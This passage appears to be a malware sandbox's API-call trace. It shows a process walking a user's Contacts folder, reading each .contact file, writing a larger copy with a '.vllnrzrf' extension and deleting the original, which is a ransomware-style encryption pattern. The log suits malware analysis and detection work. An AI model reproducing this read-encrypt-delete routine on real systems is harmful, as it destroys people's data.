ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0084.832] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce9ea70 | out: lpFindFileData=0x1ce9ea70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.832] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce9ea70 | out: lpFindFileData=0x1ce9ea70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0084.832] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce9ea70 | out: lpFindFileData=0x1ce9ea70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0084.832] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce9ea70 | out: lpFindFileData=0x1ce9ea70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0084.833] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce9ea70 | out: lpFindFileData=0x1ce9ea70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x0, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0084.833] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce9ea70 | out: lpFindFileData=0x1ce9ea70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0084.833] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce9ea70 | out: lpFindFileData=0x1ce9ea70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x0, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0084.833] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce9ea70 | out: lpFindFileData=0x1ce9ea70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0084.833] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce9ea70 | out: lpFindFileData=0x1ce9ea70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.833] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0084.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce9ecd0) returned 1 [0084.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce9ec90) returned 1 [0084.834] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", lpFilePart=0x0) returned 0x3e [0084.835] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", lpFilePart=0x0) returned 0x3e [0084.835] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", lpFilePart=0x0) returned 0x3e [0084.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce9ec70) returned 1 [0084.835] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4a4 [0085.017] GetFileType (hFile=0x4a4) returned 0x1 [0085.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce9ebe0) returned 1 [0085.018] GetFileType (hFile=0x4a4) returned 0x1 [0085.018] GetFileSize (in: hFile=0x4a4, lpFileSizeHigh=0x1ce9ee08 | out: lpFileSizeHigh=0x1ce9ee08*=0x0) returned 0x49a [0085.018] ReadFile (in: hFile=0x4a4, lpBuffer=0x21ff680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ce9ed38, lpOverlapped=0x0 | out: lpBuffer=0x21ff680*, lpNumberOfBytesRead=0x1ce9ed38*=0x49a, lpOverlapped=0x0) returned 1 [0085.028] CloseHandle (hObject=0x4a4) returned 1 [0085.125] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.vllnrzrf", lpFilePart=0x0) returned 0x47 [0085.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce9ec70) returned 1 [0085.125] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4a4 [0085.238] GetFileType (hFile=0x4a4) returned 0x1 [0085.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce9ebe0) returned 1 [0085.238] GetFileType (hFile=0x4a4) returned 0x1 [0085.239] WriteFile (in: hFile=0x4a4, lpBuffer=0x2205f50*, nNumberOfBytesToWrite=0x69a, lpNumberOfBytesWritten=0x1ce9ec48, lpOverlapped=0x0 | out: lpBuffer=0x2205f50*, lpNumberOfBytesWritten=0x1ce9ec48*=0x69a, lpOverlapped=0x0) returned 1 [0085.273] CloseHandle (hObject=0x4a4) returned 1 [0085.280] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", lpFilePart=0x0) returned 0x3e [0085.282] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", nBufferLength=0x105, lpBuffer=0x1ce9e930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", lpFilePart=0x0) returned 0x3e [0085.286] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact")) returned 1 [0085.297] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", lpFilePart=0x0) returned 0x3c [0085.297] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", lpFilePart=0x0) returned 0x3c [0085.298] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", lpFilePart=0x0) returned 0x3c [0085.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce9ec70) returned 1 [0085.298] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4a4 [0085.301] GetFileType (hFile=0x4a4) returned 0x1 [0085.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce9ebe0) returned 1 [0085.301] GetFileType (hFile=0x4a4) returned 0x1 [0085.301] GetFileSize (in: hFile=0x4a4, lpFileSizeHigh=0x1ce9ee08 | out: lpFileSizeHigh=0x1ce9ee08*=0x0) returned 0x10b1e [0085.308] ReadFile (in: hFile=0x4a4, lpBuffer=0x22079d0, nNumberOfBytesToRead=0x10b1e, lpNumberOfBytesRead=0x1ce9ed38, lpOverlapped=0x0 | out: lpBuffer=0x22079d0*, lpNumberOfBytesRead=0x1ce9ed38*=0x10b1e, lpOverlapped=0x0) returned 1 [0085.317] CloseHandle (hObject=0x4a4) returned 1 [0085.992] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.vllnrzrf", lpFilePart=0x0) returned 0x45 [0085.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce9ec70) returned 1 [0085.992] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0085.993] GetFileType (hFile=0x43c) returned 0x1 [0085.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce9ebe0) returned 1 [0085.994] GetFileType (hFile=0x43c) returned 0x1 [0085.994] WriteFile (in: hFile=0x43c, lpBuffer=0x221b340*, nNumberOfBytesToWrite=0x10d1e, lpNumberOfBytesWritten=0x1ce9ed98, lpOverlapped=0x0 | out: lpBuffer=0x221b340*, lpNumberOfBytesWritten=0x1ce9ed98*=0x10d1e, lpOverlapped=0x0) returned 1 [0085.996] CloseHandle (hObject=0x43c) returned 1 [0085.997] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", lpFilePart=0x0) returned 0x3c [0085.998] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", nBufferLength=0x105, lpBuffer=0x1ce9e930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", lpFilePart=0x0) returned 0x3c [0085.999] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact")) returned 1 [0086.001] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", lpFilePart=0x0) returned 0x3c [0086.001] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", lpFilePart=0x0) returned 0x3c [0086.001] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", lpFilePart=0x0) returned 0x3c [0086.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce9ec70) returned 1 [0086.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0086.002] GetFileType (hFile=0x43c) returned 0x1 [0086.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce9ebe0) returned 1 [0086.002] GetFileType (hFile=0x43c) returned 0x1 [0086.002] GetFileSize (in: hFile=0x43c, lpFileSizeHigh=0x1ce9ee08 | out: lpFileSizeHigh=0x1ce9ee08*=0x0) returned 0x493 [0086.002] ReadFile (in: hFile=0x43c, lpBuffer=0x222d118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ce9ed38, lpOverlapped=0x0 | out: lpBuffer=0x222d118*, lpNumberOfBytesRead=0x1ce9ed38*=0x493, lpOverlapped=0x0) returned 1 [0086.006] CloseHandle (hObject=0x43c) returned 1 [0086.010] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.vllnrzrf", lpFilePart=0x0) returned 0x45 [0086.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce9ec70) returned 1 [0086.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0086.010] GetFileType (hFile=0x43c) returned 0x1 [0086.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce9ebe0) returned 1 [0086.010] GetFileType (hFile=0x43c) returned 0x1 [0086.010] WriteFile (in: hFile=0x43c, lpBuffer=0x22339c8*, nNumberOfBytesToWrite=0x693, lpNumberOfBytesWritten=0x1ce9ec48, lpOverlapped=0x0 | out: lpBuffer=0x22339c8*, lpNumberOfBytesWritten=0x1ce9ec48*=0x693, lpOverlapped=0x0) returned 1 [0086.012] CloseHandle (hObject=0x43c) returned 1 [0086.013] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", lpFilePart=0x0) returned 0x3c [0086.013] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", nBufferLength=0x105, lpBuffer=0x1ce9e930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", lpFilePart=0x0) returned 0x3c [0086.013] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact")) returned 1 [0086.015] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", lpFilePart=0x0) returned 0x3b [0086.015] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", lpFilePart=0x0) returned 0x3b [0086.015] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", lpFilePart=0x0) returned 0x3b [0086.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce9ec70) returned 1 [0086.015] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0086.016] GetFileType (hFile=0x43c) returned 0x1 [0086.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce9ebe0) returned 1 [0086.016] GetFileType (hFile=0x43c) returned 0x1 [0086.016] GetFileSize (in: hFile=0x43c, lpFileSizeHigh=0x1ce9ee08 | out: lpFileSizeHigh=0x1ce9ee08*=0x0) returned 0x499 [0086.017] ReadFile (in: hFile=0x43c, lpBuffer=0x22358e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ce9ed38, lpOverlapped=0x0 | out: lpBuffer=0x22358e8*, lpNumberOfBytesRead=0x1ce9ed38*=0x499, lpOverlapped=0x0) returned 1 [0086.019] CloseHandle (hObject=0x43c) returned 1 [0086.022] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.vllnrzrf", lpFilePart=0x0) returned 0x44 [0086.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce9ec70) returned 1 [0086.022] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0086.022] GetFileType (hFile=0x43c) returned 0x1 [0086.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce9ebe0) returned 1 [0086.022] GetFileType (hFile=0x43c) returned 0x1 [0086.023] WriteFile (in: hFile=0x43c, lpBuffer=0x223c1b0*, nNumberOfBytesToWrite=0x699, lpNumberOfBytesWritten=0x1ce9ec48, lpOverlapped=0x0 | out: lpBuffer=0x223c1b0*, lpNumberOfBytesWritten=0x1ce9ec48*=0x699, lpOverlapped=0x0) returned 1 [0086.023] CloseHandle (hObject=0x43c) returned 1 [0086.028] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", lpFilePart=0x0) returned 0x3b [0086.028] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", nBufferLength=0x105, lpBuffer=0x1ce9e930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", lpFilePart=0x0) returned 0x3b [0086.028] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact")) returned 1 [0086.030] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", lpFilePart=0x0) returned 0x3c [0086.031] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", lpFilePart=0x0) returned 0x3c [0086.031] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", lpFilePart=0x0) returned 0x3c [0086.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce9ec70) returned 1 [0086.031] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0086.034] GetFileType (hFile=0x43c) returned 0x1 [0086.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce9ebe0) returned 1 [0086.034] GetFileType (hFile=0x43c) returned 0x1 [0086.034] GetFileSize (in: hFile=0x43c, lpFileSizeHigh=0x1ce9ee08 | out: lpFileSizeHigh=0x1ce9ee08*=0x0) returned 0x496 [0086.034] ReadFile (in: hFile=0x43c, lpBuffer=0x223e100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ce9ed38, lpOverlapped=0x0 | out: lpBuffer=0x223e100*, lpNumberOfBytesRead=0x1ce9ed38*=0x496, lpOverlapped=0x0) returned 1 [0086.050] CloseHandle (hObject=0x43c) returned 1 [0086.054] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.vllnrzrf", lpFilePart=0x0) returned 0x45 [0086.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce9ec70) returned 1 [0086.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0086.054] GetFileType (hFile=0x43c) returned 0x1 [0086.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce9ebe0) returned 1 [0086.054] GetFileType (hFile=0x43c) returned 0x1 [0086.054] WriteFile (in: hFile=0x43c, lpBuffer=0x2255cb8*, nNumberOfBytesToWrite=0x696, lpNumberOfBytesWritten=0x1ce9ec48, lpOverlapped=0x0 | out: lpBuffer=0x2255cb8*, lpNumberOfBytesWritten=0x1ce9ec48*=0x696, lpOverlapped=0x0) returned 1 [0086.055] CloseHandle (hObject=0x43c) returned 1 [0086.056] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: 